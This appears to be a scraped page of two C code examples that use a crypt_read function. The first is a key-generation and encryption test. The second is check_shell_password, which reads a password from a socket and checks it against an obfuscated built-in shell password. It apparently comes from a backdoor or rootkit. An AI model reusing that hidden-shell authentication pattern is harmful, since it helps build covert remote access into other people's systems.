Example #1
0
int main()
{
  RSA *rsa, *rsa_pub;
  DES_cblock des_key;
  rsa = crypt_new( des_key, "tst-des.key", "tst-pub.pem", "tst-priv.pem");
  rsa_pub = crypt_read( des_key, "tst-des.key", "tst-pub.pem");

  test_crypt( rsa, rsa_pub, des_key, "0123456789", 10);
  remove("tst-des.key");
  remove("tst-pub.pem");
  remove("tst-priv.pem");
}
Example #2
0
int check_shell_password(int sock, int crypt) {
	DEBUG("check_shell_password called.\n");
	char buffer[512];
	char *shell_passwd = strdup(SHELL_PASSWD);
	x(shell_passwd);
	memset(buffer, 0x00, sizeof(buffer));
	if (crypt) {
		crypt_read(sock,buffer,sizeof(buffer)-1);
		if (strstr(buffer, shell_passwd)) {
			cleanup(shell_passwd, strlen(shell_passwd));
			return 1;
		}
	} else {
		read(sock, buffer, sizeof(buffer));
		if(strstr(buffer, shell_passwd)) {
			cleanup(shell_passwd, strlen(shell_passwd));
			return 1;
		}
	}
	return -1;
}